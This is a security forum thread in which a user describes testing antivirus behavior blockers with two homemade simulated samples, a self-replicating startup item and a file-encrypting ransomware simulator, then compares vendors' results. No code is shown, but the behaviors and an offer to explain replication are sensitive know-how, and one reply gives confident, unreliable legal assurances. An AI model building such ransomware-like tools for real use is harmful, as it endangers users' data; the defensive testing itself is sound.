Homebrewed Zero Day behavior blocker test

MacDefender

Level 16
Thread author
Verified
Top Poster
Oct 13, 2019
779
This kind of evolved out of a few discussions (ESET, Emsisoft, etc) where the abilities of their behavior blocker came to question. As a part of this, I made two pieces of zero-day "malware". For now I'm avoiding their distribution because of all the legal implications of writing and distributing malware. The goal here was to come up with something that has ZERO known signatures... I compile it against a slightly different toolchain for each test and opted out of cloud submission as long as it does not affect detection.

The two samples are:
Sample 1: Simulated PUA/Replication: Copies itself to the temp directory under a brand new name. Registers that copy as a startup item via the registry.
Sample 2: Simulated Ransomware: Goes into "My Documents\test", and encrypts each file with a randomly generated AES256 key in a ".encrypted" file, deletes the original.

Result definitions:
Protected: Threat blocked with default settings
Protected (Folder Protection Only): For the ransomware sample, requires a specific anti-ransomware feature (like protected folders) to be turned on
Infected: For the startupware sample, AV suite had no reaction to it.
Partial: For the startupware sample, AV suite had a late reaction (such as after a reboot). This is overall acceptable since the sample has no malicious behavior, catching it after a reboot is perfectly fine.
Encrypted: For the ransomware sample, no matter what settings were tried, all files ended up encrypted.


SampleKaspersky AntivirusF-Secure SAFE 17.7Windows DefenderESET NOD32 13Norton 360Emsisoft Antimalware
Simulated PUA/ReplicatorPartial *ProtectedInfectedInfectedProtected + Partial Protected
Simulated RansomwareProtected *ProtectedProtected (Folder Protection Only)EncryptedEncryptedProtected

Overall Conclusion:
F-Secure, Emsisoft, and Kaspersky provided the best protection. Overall, F-Secure and sorta Emsisoft won by a thin margin, because of a bug I hit in Kaspersky (see below)

Additional Notes:
  • Kaspersky: Did a great job cleaning up the startup items and rolling back changes done. For the simulated ransomware, it reacted differently to each file being renamed (protected) vs just putting all the encrypted files into one password-protected ZIP file and then deleting all the files (no reaction). WARNING: Kaspersky's behavior blocker did not activate until after first reboot. Even though it appears to be functional after a fresh install, always reboot the machine after installing Kaspersky or you might not be protected. Since this only affects initial installation, I don't find it very concerning.
  • F-Secure: All detections came from DeepGuard. Sample 1 had a disappointingly generic detection name but Sample 2 performance was impressive -- even disabling "Ransomware" (protected folder) detection, DeepGuard still thinks it's ransomware behavior.
  • Windows Defender: Turning on the Ransomware Guard feature resulted in the only behavior block during this test. I should say, though, Windows Defender's ransomware protection feature is extremely sensitive and FP prone. For example, it also blocked me from running the Norton 360 installer because the installer creates a Norton Downloaded Files directory on the desktop.
  • ESET: As discussed thoroughly in the ESET thread, did not react at all. According to their forums, their HIPS is more for detection of variants of existing malware, not entirely new breeds.
  • Emsisoft: Did great against both tests with default settings. No complaints (other than a hang when running the binaries off the network)
  • Norton: SONAR picked up the startup sample right away but it cleaned up the original file as opposed to the replicated binary, SONAR picked it up again on reboot and this time it cleaned it up completely. No reaction against the ransomware simulator though.

I'm curious if this kind of testing is considered valuable. Happy to take suggestions of what other behaviors are common for in the wild malware samples and worthwhile of simulating. Remember that this is solely meant as a behavior blocker test, not an overall AV test. Behavior blocking is just one layer of protection that an AV provides.
 

Burrito

Level 24
Verified
Top Poster
Well-known
May 16, 2018
1,363
I'm curious if this kind of testing is considered valuable. Happy to take suggestions of what other behaviors are common for in the wild malware samples and worthwhile of simulating. Remember that this is solely meant as a behavior blocker test, not an overall AV test. Behavior blocking is just one layer of protection that an AV provides.

I commend you on your test and sharing your test data with us in an easily read and informative narrative.

Although the sample set is tiny, it can still be informative as part of larger look at capabilities.

I encourage you to send the samples to @silversurfer so that they can be made part of the Hub testing process here at MT.

(y)
 

oldschool

Level 81
Verified
Top Poster
Well-known
Mar 29, 2018
7,043
I should say, though, Windows Defender's ransomware protection feature is extremely sensitive and FP prone. For example, it also blocked me from running the Norton 360 installer because the installer creates a Norton Downloaded Files directory on the desktop.

Indeed, CFA is quite sensitive and implementation could be improved substantially. Thanks for your test.
 

MacDefender

Level 16
Thread author
Verified
Top Poster
Oct 13, 2019
779
I encourage you to send the samples to @silversurfer so that they can be made part of the Hub testing process here at MT.

I will think about it -- my concern is that it's technically a federal crime to distribute malware and I don't have the legal expertise to know if what I'm doing can be construed that way.


Indeed, CFA is quite sensitive and implementation could be improved substantially. Thanks for your test.

Yeah I think the biggest things I'd like to see from WD's folder protection are:
(1) prompt instead of just flat out blocking and causing the application to error out
(2) have a mode that just protects deletion or modification of existing files, not the creating or reading of existing ones. Having creation of files be blocked seems kind of overkill.
 

blackice

Level 38
Verified
Top Poster
Well-known
Apr 1, 2019
2,730
I will think about it -- my concern is that it's technically a federal crime to distribute malware and I don't have the legal expertise to know if what I'm doing can be construed that way.




Yeah I think the biggest things I'd like to see from WD's folder protection are:
(1) prompt instead of just flat out blocking and causing the application to error out
(2) have a mode that just protects deletion or modification of existing files, not the creating or reading of existing ones. Having creation of files be blocked seems kind of overkill.
The issue with a prompt is an average user will click through to access whatever file they were trying to open. Although I personally would also prefer a prompt. The endless whitelisting has driven me to turn CFA off.
 

MacDefender

Level 16
Thread author
Verified
Top Poster
Oct 13, 2019
779
The issue with a prompt is an average user will click through to access whatever file they were trying to open. Although I personally would also prefer a prompt. The endless whitelisting has driven me to turn CFA off.
Agreed! The latest macOS basically has this behavior built in by default. Anything not properly signed/endorsed by Apple will trigger a prompt if they try to touch certain things like documents. If they do it from an interactive session their app gets hung until the user makes a decision. If they do it from a background daemon it just gets rejected.

The criticism is that it results in a lot of potentially annoying prompts, but on the bright side, without an element of phishing it essentially protects against any sort of ransomware or espionageware
 

TRS-80

Level 1
Aug 16, 2019
46
G'day @MacDefender ,

Surely if you pack and password the files, sending the passwords separately you'd be fine. The samples are merely shared research. Most of that type of legislation has provisions for study, research & development and, so forth.

I'd be checking the legal definition of “distribute” if you're worried. I'd do it for you but I speak Aussie law.

I hope you manage to work around it!

Cheers,


@TRS-80 :emoji_beer:
 

notabot

Level 15
Verified
Oct 31, 2018
703
Thanks for sharing this ! - During your testing for WD was ASR rule "Block executable files from running unless they meet a prevalence, age, or trusted list criterion " on or off ?

I will think about it -- my concern is that it's technically a federal crime to distribute malware and I don't have the legal expertise to know if what I'm doing can be construed that way.




Yeah I think the biggest things I'd like to see from WD's folder protection are:
(1) prompt instead of just flat out blocking and causing the application to error out
(2) have a mode that just protects deletion or modification of existing files, not the creating or reading of existing ones. Having creation of files be blocked seems kind of overkill.

no lawyer will ever guarantee anything (because they can't) so not taking a legal risk is is probably the wise thing to do, and even if they did 300$ per hour for a domain expert's opinion is a steep price.

That said, I wonder what federal law says about source code, there's a precedent with distinguishing source from the artefact in the past with encryption (though this may not extrapolate to malware).
 

MacDefender

Level 16
Thread author
Verified
Top Poster
Oct 13, 2019
779
Thanks for sharing this ! - During your testing for WD was ASR rule "Block executable files from running unless they meet a prevalence, age, or trusted list criterion " on or off ?


WD was in the default settings initially, and then I turned on Controlled Folder Access after it failed both tests.

I expect the ASR rule you mentioned would block both executables but it would basically also block anything else I compile at my desk regardless of whether it's bad. I consider whitelisting a different feature independent of behavior blocking. It's fine if a behavior blocker uses prevalence to adjust its sensitivity but I think just blocking because it's not a popular binary should be tested separately.
 

notabot

Level 15
Verified
Oct 31, 2018
703
I expect the ASR rule you mentioned would block both executables but it would basically also block anything else I compile at my desk regardless of whether it's bad. I consider whitelisting a different feature independent of behavior blocking. It's fine if a behavior blocker uses prevalence to adjust its sensitivity but I think just blocking because it's not a popular binary should be tested separately.

True, see e.g. Q&A - ASR Rule: Block executable files from running unless they meet a prevalence, age, or trusted list criteria , you can add exceptions though ( I would had dropped the rule myself if this was not the case )
 

MacDefender

Level 16
Thread author
Verified
Top Poster
Oct 13, 2019
779
True, see e.g. Q&A - ASR Rule: Block executable files from running unless they meet a prevalence, age, or trusted list criteria , you can add exceptions though ( I would had dropped the rule myself if this was not the case )
Yep totally! I definitely think it's valuable and would love to test that on a different occasion.

This test was more meant as "assuming the worst case where someone tricked me into running something malicious, how well will my AV protect my data and identify malicious behavior happening in realtime?"

Another interesting test I think would be "how well can it clean unknown malware?" -- from this test it seems like Kaspersky would win here. It had the most comprehensive attempt to roll back a harmful chain of events.

F-Secure and Emsisoft both prevented the initial attempt to hook as a startup item. Norton's result was kind of funny because every time the system starts, Norton would realize THAT startup item was malicious and quarantine it, but it wouldn't realize that it had already replicated itself and registered another startup item for the next reboot 🤣. But infection detection and personal document protection are what I consider the most important. If my AV tells me it found something bad, it would trigger me to more carefully analyze my system. I do not need it to return my system to a 100% uninfected status.
 

MacDefender

Level 16
Thread author
Verified
Top Poster
Oct 13, 2019
779
One more observation: I would really wish that the suspicious behaviors would get presented to the user. Emsisoft shows “Suspicious/xxxx” in the logs and “xxxx” is like StartupItem or Ransomware and it is really intuitive. F-Secure is a mix — some DeepGuard signatures are named after a behavior, or after a specific kind of malware (seems like DeepGuard also uses behavior signatures to find variants of known malware) but other DeepGuard detections are just a jumble of lowercase letters.

Norton and Kaspersky are both really nondescript.

I suspect behavior blocker rules are part of their secret sauce and they hold these cards close to their chest. For example if you collect F-Secure diagnostic logs, they have a lot of plaintext logs — “Capricorn” is obviously an Avira scanner and has log entries when it consults the Avira cloud. “Lynx” is a certificate scanner and when executing a signed binary you get a log entry with the certificate it looks up and their results. But “HIPS” is DeepGuard and the log file is completely encrypted. It’s usually empty but after executing these two malware samples, it wrote out 8MB of random binary data to the HIPS log. Are they trying to thwart competitors or malware writers or both? Hmm I really wonder :)
 
F

ForgottenSeer 823865

Im not very surprised by Emsisoft, its behavior Blocker was a pioneer in the field and stay one of the best in the market. As a tweaker, i just regret it lost all the granular settings, but it is better this way for an Average Joe.
 
F

ForgottenSeer 58943

As a part of this, I made two pieces of zero-day "malware". For now I'm avoiding their distribution because of all the legal implications of writing and distributing malware.

This is true. Wise move. Slight tangent on this;

Remember, in the USA, you can basically do 'almost' anything you want in your home, and on your property. It's about action and intent. Also information sharing, even about dangerous things is protected by the constitution. There have been efforts by our govt. and/or factions within it to erode those protections and they are working hard to brainwash younger, upcoming generations to not know about and in most cases feel scared to exercise their freedoms. Cody Wilson is a good example.. He releases schematics for a working 3D Printed Gun, the Govt. hits him hard, actually violating the constitution in the process. Cody wins, so they honeypot him and toss him in jail for almost a decade. Cody's mistake was, underestimating the forces levied against him and thinking he was in the clear after embarrassing the government. Nah, active surveillance of him never stopped and they wanted revenge.

So yes sir, enjoy your malware, in your home, without intent to distribute and there cannot be any legal case against you at all. The same way I enjoy buying and giving away vintage copies of The Anarchists Cookbook with the constitution tucked into the front fold. :ROFLMAO:
 
Last edited by a moderator:

MacDefender

Level 16
Thread author
Verified
Top Poster
Oct 13, 2019
779
So yes sir, enjoy your malware, in your home, without intent to distribute and there cannot be any legal case against you at all.
Thank you! This was very helpful! Unfortunately yeah my experience as a child in high school was my last attempt to just show a proof of concept exploit (responsibly) to the staff led to nearly getting the book thrown at me. I’d rather not chance it at this point — as an adult I’ve got a lot more to lose and a lot less spare time.

I will say, though, that I basically constructed these pieces of POC malware by typing each sentence from my description into StackOverflow and largely copy pasting :D. I’d be happy to elaborate more on describing what the ~10 lines of code do line by line for anyone else to replicate.
 

Andy Ful

From Hard_Configurator Tools
Verified
Honorary Member
Top Poster
Developer
Well-known
Dec 23, 2014
8,040
...
The two samples are:
Sample 1: Simulated PUA/Replication: Copies itself to the temp directory under a brand new name. Registers that copy as a startup item via the registry.
Sample 2: Simulated Ransomware: Goes into "My Documents\test", and encrypts each file with a randomly generated AES256 key in a ".encrypted" file, deletes the original.

I am not sure if simulated tests make sense for Home users. The new brands of ransomware are mostly used in the attacks on schools, hospitals, organizations, enterprises, etc. The Home users can get infection via reused or modified ransomware. Such samples are well detected by AVs without additional anti-ransomware protection via machine learning. The rare exceptions (dangerous for Home users) can be related to pirated software, cracks, etc.

If one wants to simulate the attack on organizations then Defender must have enabled ATP features (ASR rules, Network Protection, and higher Cloud-delivered protection level). I am not sure if the samples used in this thread are realistic enough. That is the problem with simulations because they usually produce fewer IOCs than malware in the wild.
Another problem is the post-execution protection of Defender. I tested several simulated ransomware samples and often the detection was triggered after a few minutes. It means that the first victim can be infected, but others will be protected by Defender after a few minutes (via Block at first sight).

I expect the ASR rule you mentioned would block both executables but it would basically also block anything else I compile at my desk regardless of whether it's bad. I consider whitelisting a different feature independent of behavior blocking. It's fine if a behavior blocker uses prevalence to adjust its sensitivity but I think just blocking because it's not a popular binary should be tested separately.

The ASR rule "Block executable files from running unless they meet a prevalence, age, or trusted list criterion" will block EXE files compiled on the machine, but the same is true for Norton Insight. Both use the prevalence criterion (and some others) and both solutions can produce a similar rate of false positives. I tested this rule on fresh files from Softpedia (pushed one day earlier) and most of the files accepted by SmartScreen were allowed by this ASR rule. Others were usually blocked for about two days.
 
Last edited:

MacDefender

Level 16
Thread author
Verified
Top Poster
Oct 13, 2019
779
I am not sure if simulated tests make sense for Home users. The new brands of ransomware are mostly used in the attacks on schools, hospitals, organizations, enterprises, etc. The Home users can get infection via reused or modified ransomware. Such samples are well detected by AVs without additional anti-ransomware protection via machine learning. The rare exceptions (dangerous for Home users) can be related to pirated software, cracks, etc.
I definitely agree — the average home user does not encounter true zero days or advanced custom written malware stagers. Real ransomware also tends to have many more components than encryption, which might be subject to less false positives to write rules around.
These were meant to be pure behavior blocker tests, evaluating a specific subsystem that many AVs have which trigger on certain behaviors alone like registering startup items or modifying documents. Just because an AV does well or poorly while testing its behavior blocker doesn’t imply how it ranks overall.
 

About us

  • MalwareTips is a community-driven platform providing the latest information and resources on malware and cyber threats. Our team of experienced professionals and passionate volunteers work to keep the internet safe and secure. We provide accurate, up-to-date information and strive to build a strong and supportive community dedicated to cybersecurity.

User Menu

Follow us

Follow us on Facebook or Twitter to know first about the latest cybersecurity incidents and malware threats.

Top